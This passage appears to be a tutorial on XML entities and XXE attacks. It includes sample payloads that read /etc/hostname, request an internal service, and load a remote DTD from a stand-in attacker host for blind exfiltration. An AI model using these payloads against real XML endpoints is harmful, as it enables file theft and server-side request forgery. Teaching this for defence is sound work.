Entities

An XML entity is a placeholder for a value. Internal entities are defined in a Document Type Definition (DTD):

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY name "Alice"> ]>
<greeting>Hello &name;</greeting>

External entities

An entity can point at an external resource by URI:

<!ENTITY ext SYSTEM "file:///etc/hostname">
<!ENTITY ext SYSTEM "http://internal.service/">

When the parser expands &ext;, it fetches that resource. file:// reads files; http:// makes the server issue a request — that is the whole bug.

Parameter entities

Entities prefixed with % are used within the DTD itself, and are the building block for blind attacks:

<!ENTITY % p SYSTEM "http://attacker.example/evil.dtd">
%p;

Why parsers allow this

External entity resolution was on by default in many libraries for years (older libxml, Java's default DocumentBuilderFactory, .NET XmlDocument). Any endpoint that accepts XML on such a stack is a candidate.